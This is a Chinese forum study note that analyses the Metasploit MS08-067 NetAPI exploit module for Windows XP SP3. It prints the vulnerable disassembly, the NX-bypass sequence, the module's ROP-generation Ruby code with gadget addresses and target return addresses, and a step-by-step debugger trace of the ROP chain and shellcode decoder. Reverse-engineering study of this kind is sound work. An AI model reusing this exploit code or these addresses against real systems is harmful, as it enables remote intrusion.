深入理解ms08_067_netapi.rb

2012-12-26 16:07:28 17 5021 1
研究了一下BT5中的ms08_067_netapi.rb,有点收获写出来希望兄弟们喜欢

高手们觉得深度不够或已经过时,莫要见笑,晚辈水平有限,谢谢!

我把原模块精简了一下,就针对两个目标Windows XP SP3 Chinese - Simplified (NX)和Windows XPSP3 English (AlwaysOn NX)'。

前者主要是利用了acgenral.dll中的如下代码,来'DisableNX' ,进而执行堆栈中的shellcode;而后者较为复杂一点,

主要是利用ROP(Return Oriented Programming)创建一个具有可执行权限的堆,再将shellcode拷贝进去执行。

不是科普文章,只能算一篇学习笔记。

58fc17c2 6a04      push 4

58fc17c4 8d4508  lea  eax,[ebp+8]

58fc17c7 50          push eax

58fc17c8 6a22      push 22h

58fc17ca 6aff        push  0FFFFFFFFh

58fc17cc c7450802000000   mov  dword ptr [ebp+8],2

58fc17d3 ff150414fb58  call  ntdll!ZwSetInformationProcess (7c92dc80)



溢出原因:

Svchost.exe进程中的netapi32.dll中
     5B86A5A1    50                 push eax
     5B86A5A2    57                 push edi
     5B86A5A3    FF15 7012865B      call dword ptr ds:[<&msvcrt.wcscpy>]  

// 例如:要处理的参数path为\aaaa\..\..\bbbbbbb

把它放在缓冲区内形如:\aaaa\..\..\bbbbbbb

而堆栈中数据形式为:\ cccccccccccc\aaaa\..\..\bbbbbbb,也就是在缓冲区前面不远处有一个字符’ \’;

我们目的是要将path中的 ‘\..’和’ \.’去除,把路径加以简化。但是下面的代码导致了数据拷贝时出现了越界,堆栈被破坏从而发生了溢出。

5B878AD3 mov esi,edi

5B878AD5 lea eax,dword ptr ds:[edi-2] //越界到了拷贝缓冲区的首地址之前,并继续拷贝

5B878AD8  jmp short netapi32.5B878AE1

5B878ADA  cmp eax,dword ptr ss:[ebp+8]

5B878ADD  je short netapi32.5B878AE7

5B878ADF  dec eax

5B878AE0  dec eax

5B878AE1  cmp word ptr ds:[eax],5C

5B878AE5  jnz short netapi32.5B878ADA //找到原缓冲区前面的某个'\'停下,下次数据拷贝到该处



//注意在原缓冲区前面的那个'\'是在调用完下面这句后留在堆栈中的废弃数据,程序错误地认为是path中的字符,结果被恶意利用。

5B86A237 call dword ptr ds:[<&ntdll.RtlIsDosDeviceName_U>]





英文版溢出前截图





英文版溢出后截图

调试技巧:
1、如何找到Svchost.exe进程(通常有好几个Svchost.exe进程)你可以先溢出,而后执行下面的命令,获悉进程pid;
meterpreter > getpid
Current pid: 1036
2、或者你在任务管理器中找到占用内存最多的那个Svchost.exe进程
3、开启两个虚拟机,一个运行BT5,另一个运行XP SP3英文版,先用调试器附加找的Svchost.exe进程,
在5B86A40B 处下断;而后用BT5进行溢出,即可断下。


英文版调试笔记:
模块中rop的生成函数
def generate_rop(version)        
                free_byte = "\x90"
                gadget1 = free_byte + "\x5a\x59\xc3"
                gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
                dws = gadget2.unpack('V*')
                gadget3 = "\xcc" + free_byte + "\xeb\x5a"
                module_name = 'ACGENRAL.DLL'
                # module_base for XP SP3 English version
                module_base = 0x6f880000  
                rvasets = {}
                rvasets['5.1.2600.5512'] = {
                        'call_HeapCreate'                          => 0x21286,
                        'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
                        'pop ecx / ret'                            => 0x2e796+6,
                        'mov [eax], ecx / ret'                     => 0xd296,
                        'jmp eax'                                  => 0x19c6f,
                        'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
                        'mov [eax+0x10], ecx / ret'                => 0x10a56 + 6,
                        'add eax, 8 / ret'                         => 0x29c64
                        }
                rop = [                        
                        0x00018000,
                        'call_HeapCreate',# get some RWX memory via HeapCreate
                        0x01040110, # HeapCreate 3 parameters
                        0x01010101,
                        0x01010101,        
                        'add eax, ebp / mov ecx, 0x59ffffa8 / ret',        
                        'pop ecx / ret',
                        gadget1.unpack('V').first,
                        'mov [eax], ecx / ret',
            'jmp eax',
                        dws[0],
                        dws[1],
                        'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',        
                        'pop ecx / ret',
                        dws[2],
                        'mov [eax+0x10], ecx / ret',
                        'add eax, 8 / ret',
                        'jmp eax',               
                        gadget3.unpack('V').first
                ]
…….
                ret = rop.pack('V*')
        end


英文版溢出后执行rop流程:
1、
6F8A1286 FF15 E411886F  call dword ptr ds:[<&KERNEL32.HeapCreate>] //kernel32.HeapCreate
6F8A128C    A3 2C808B6F        mov dword ptr ds:[6F8B802C],eax
6F8A1291    C3                 retn
0351F45C   01040110  |Flags = HEAP_REALLOC_IN_PLACE_ONLY|1040100
0351F460   01010101  |InitialSize = 1010101 (16843009.)
0351F464   01010101  \MaximumSize = 1010101 (16843009.)
2、
//eax是新开的堆起始地址 ebp=00018000,执行后eax=03788000
6F8AE796    01E8  add eax,ebp   
6F8AE798    B9 A8FFFF59        mov ecx,59FFFFA8
6F8AE79D    C3                 retn
3、
6F8AE79C    59                 pop ecx  //弹出栈顶数据0xC3595A90给ecx
6F8AE79D    C3                 retn
4、
6F88D296    8908               mov dword ptr ds:[eax],ecx //再放入前面开辟的堆中
6F88D298    C3                 retn
5、
6F899C6F  - FFE0               jmp eax  // jmp 03788000,跳到堆中去执行刚才放入堆中的指令
6、
03788000    90                 nop     //就是这几条了
03788001    5A                 pop edx  //edx赋值0x83C78990
03788002    59                 pop ecx  //ecx赋值0x7F6A0CC7
03788003    C3                 retn
7、
6F890A56    8950 08            mov dword ptr ds:[eax+8],edx //继续放到堆中
6F890A59    8948 0C            mov dword ptr ds:[eax+C],ecx
6F890A5C    8948 10            mov dword ptr ds:[eax+10],ecx
6F890A5F    C3                 retn
8、
6F8AE79C    59                 pop ecx  //ecx赋值90A5F259
6F8AE79D    C3                 retn
9、
6F890A5C    8948 10            mov dword ptr ds:[eax+10],ecx  //继续放到堆中
6F890A5F    C3                 retn
10、
6F8A9C64    83C0 08            add eax,8 //执行后eax=0x03788008
6F8A9C67    C3                 retn
11、
6F899C6F  - FFE0               jmp eax  // 跳到堆中0x03788008处去执行刚才放入的指令
12、
03788008    90                 nop
03788009    89C7               mov edi,eax
0378800B    83C7 0C            add edi,0C //执行后edi=0x03788014
0378800E    6A 7F              push 7F
03788010    59                 pop ecx  //移动0x7f个dword
03788011    F2:A5              repne movs dword ptr es:[edi],dword ptr ds:[esi] //将栈中的shellcode等数据转到堆中
03788013    90                 nop
03788014    0000               add byte ptr ds:[eax],al
03788016    0000               add byte ptr ds:[eax],al
.....
13、
执行完上面的repne movs,下步要执行的指令就准备好了
03788013    90                 nop
03788014    8A6F 7F            mov ch,byte ptr ds:[edi+7F]
03788017    0000               add byte ptr ds:[eax],al
03788019    00CC               add ah,cl
0378801B    90                 nop
0378801C    EB 5A              jmp short 03788078  //rop最后2字节是个短跳转,跳到编码后的payload处执行
0378801E    4E                 dec esi  //下面是2字节随机生成的 Rex::Text.rand_text_alpha(2)
0378801F    61                 popad
03788020    0000               add byte ptr ds:[eax],al // NULL termination
14、
//payload开始执行,不远处就是解码shellcode
03788078    25 49B067B3        and eax,B367B049  
0378807D    2D E2276692        sub eax,926627E2
03788082    75 15              jnz short 03788099
03788084    BA 057A1D3D        mov edx,3D1D7A05
.......
037880C2    6A 4C              push 4C
037880C4    59                 pop ecx
037880C5    D9EE               fldz           
037880C7    D97424 F4          fstenv (28-byte) ptr ss:[esp-C] //把前一条指令的虚拟地址压栈
037880CB    5B                 pop ebx                         //ebx=0x037880C5
037880CC    8173 13 E4F6986B   xor dword ptr ds:[ebx+13],6B98F6E4   //偏移0x13
037880D3    83EB FC            sub ebx,-4
037880D6  ^ E2 F4              loopd short 037880CC //循环解码相对与fldz指令偏移0x13处开始的数据
037880D8    65:32CC            xor cl,ah  //此处开始为待解码的shellcode
037880DB    99                 cdq
........

解释一下:
'Targets'  =>
        [
                # Metasploit's NX bypass for XP SP2/SP3
                [ 'Windows XP SP3 Chinese - Simplified (NX)',
                        {
                                'Ret'       => 0x58fbf807,  # 中文版该处是call esi
                                'DisableNX' => 0x58fc17c2, #中文版该处开始调用ZwSetInformationProcess
                                'Scratch'   => 0x00020408  #这是一个可写的内存地址
                        }
                ],               
                [ 'Windows XP SP3 English (AlwaysOn NX)',
                        {
                                # No pivot is needed, we drop into our rop
                                'Scratch' => 0x00020408,
                                'UseROP'  => '5.1.2600.5512'
                        }
                ],
               
        ]


关于作者

panda42篇文章921篇回复

刺激的内容看这里:www.cnpanda.net

评论17次

要评论?请先  登录  或  注册